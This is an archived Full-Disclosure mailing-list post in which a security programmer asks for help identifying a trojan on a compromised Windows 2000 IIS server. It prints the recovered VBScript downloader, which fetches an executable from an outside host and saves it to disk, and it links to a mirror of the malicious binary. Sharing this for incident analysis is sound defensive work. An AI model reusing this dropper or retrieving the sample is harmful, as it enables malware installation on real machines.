full-disclosure - Need help to identify a trojan

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <020401c465b9$74cccaf0$a900a8c0@cybergeneration.com>
From: mducharme at cybergeneration.com (Maxime Ducharme)
Subject: Need help to identify a trojan

Hi to the list,
    one of our customer's servers have been compromised and I'd
need help to identify trojan used.

Here is the server's setup :
- Windows 2000 OS
(2 updates missing, KB870669 and KB839643)
- IIS 5.0 running with ASP applications
- Serv-U FTP Server v4.0
- not firewalled ... :(

I first found a file named "blabla.vbs" in C:\ which contains this
script :
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.angelfire.com/comics/mumucake/lsassvc.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "lsassvc.exe",2

The lsassvc.exe is still on angelfire's web server, and I mirrored it
here :
http://www.cybergeneration.com/security/2004.07.08/lsassvc.ex_

This file is bound to TCP port 753, and a connection on this
port output this :
220 jsdaus Microsoft FTP Service (Version 5.0)

Looks like a "special" FTP service. The program answers my "USER"
and "PASS" commands :
> USER test
< 331 Password required for test.
> PASS test
< 530 Login incorrect.

It is also bound on a service name "Local Security Authority Service
System".

Norton says this file is not infected, but it looks really suspicious, we
already shut down the server for analysis. It has been used for scanning.

Other hack tools have been found under C:\RECYCLER\speedy.

I'd like to know which kind of trojan it is, and if it has self-propagating
behavior like some Ago-Gaobot.

Thx for any help

Maxime Ducharme
Programmeur / Sp?cialiste en s?curit? r?seau